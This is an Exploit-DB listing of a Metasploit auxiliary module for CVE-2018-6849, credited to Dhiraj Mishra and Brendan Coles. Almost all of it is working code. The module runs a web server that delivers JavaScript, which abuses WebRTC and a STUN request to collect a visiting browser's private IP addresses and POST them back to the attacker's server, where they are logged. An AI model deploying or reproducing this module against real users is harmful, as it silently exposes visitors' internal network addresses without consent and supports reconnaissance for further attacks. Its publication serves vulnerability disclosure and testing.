WebRTC – Private IP Leakage (Metasploit)

  • 作者: Dhiraj Mishra
    日期: 2018-04-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44403/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
    include Msf::Exploit::Remote::HttpServer
    
    def initialize(info = {})
    super(
    update_info(
    info,
    'Name' => "Private IP Leakage to WebPage using WebRTC Function.",
    'Description'=> %q(
    This module exploits a vulnerability in browsers using well-known property of WebRTC (Web Real-Time Communications) which enables Web applications and sites to capture or exchange arbitrary data between browsers without requiring an intermediary.
    ),
    'License'=> MSF_LICENSE,
    'Author' => [
    'Brendan Coles', #MSF Module
    'Dhiraj Mishra'#MSF Module
    ],
    'References' => [
    		[ 'CVE', '2018-6849' ],
    		['URL', 'https://datarift.blogspot.in/p/private-ip-leakage-using-webrtc.html']
    ],
    'DisclosureDate' => 'Jan 26 2018',
    'Actions'=> [[ 'WebServer' ]],
    'PassiveActions' => [ 'WebServer' ],
    'DefaultAction'=> 'WebServer'
    )
    )
    end
    
    def run
    exploit # start http server
    end
    
    def setup
     # code from: https://github.com/diafygi/webrtc-ips
     @html = <<-JS
    <script>
    //get the IP addresses associated with an account
    function getIPs(callback){
    var ip_dups = {};
    
    //compatibility for firefox and chrome
    var RTCPeerConnection = window.RTCPeerConnection
    || window.mozRTCPeerConnection
    || window.webkitRTCPeerConnection;
    var useWebKit = !!window.webkitRTCPeerConnection;
    
    //bypass naive webrtc blocking using an iframe
    if(!RTCPeerConnection){
    //NOTE: you need to have an iframe in the page right above the script tag
    //
    //<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>
    //<script>...getIPs called in here...
    //
    var win = iframe.contentWindow;
    RTCPeerConnection = win.RTCPeerConnection
    || win.mozRTCPeerConnection
    || win.webkitRTCPeerConnection;
    useWebKit = !!win.webkitRTCPeerConnection;
    }
    
    //minimal requirements for data connection
    var mediaConstraints = {
    optional: [{RtpDataChannels: true}]
    };
    
    var servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
    
    //construct a new RTCPeerConnection
    var pc = new RTCPeerConnection(servers, mediaConstraints);
    
    function handleCandidate(candidate){
    //match just the IP address
    var ip_regex = /([0-9]{1,3}(\\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/
    var ip_addr = ip_regex.exec(candidate)[1];
    
    //remove duplicates
    if(ip_dups[ip_addr] === undefined)
    callback(ip_addr);
    
    ip_dups[ip_addr] = true;
    }
    
    //listen for candidate events
    pc.onicecandidate = function(ice){
    
    //skip non-candidate events
    if(ice.candidate)
    handleCandidate(ice.candidate.candidate);
    };
    
    //create a bogus data channel
    pc.createDataChannel("");
    
    //create an offer sdp
    pc.createOffer(function(result){
    
    //trigger the stun server request
    pc.setLocalDescription(result, function(){}, function(){});
    
    }, function(){});
    
    //wait for a while to let everything done
    setTimeout(function(){
    //read candidate info from local description
    var lines = pc.localDescription.sdp.split('\\n');
    
    lines.forEach(function(line){
    if(line.indexOf('a=candidate:') === 0)
    handleCandidate(line);
    });
    }, 1000);
    }
    
    getIPs(function(ip){
    //console.log(ip);
    var xmlhttp = new XMLHttpRequest;
    xmlhttp.open('POST', window.location, true);
    xmlhttp.send(ip);
    });
    </script>
     JS
    end
    
    def on_request_uri(cli, request)
    case request.method.downcase
    when 'get'
    print_status("#{cli.peerhost}: Sending response (#{@html.size} bytes)")
    send_response(cli, @html)
    when 'post'
    print_status("#{cli.peerhost}: Received reply:")
    puts request.to_s
    else
    print_error("#{cli.peerhost}: Unhandled method: #{request.method}")
    end
    end
    end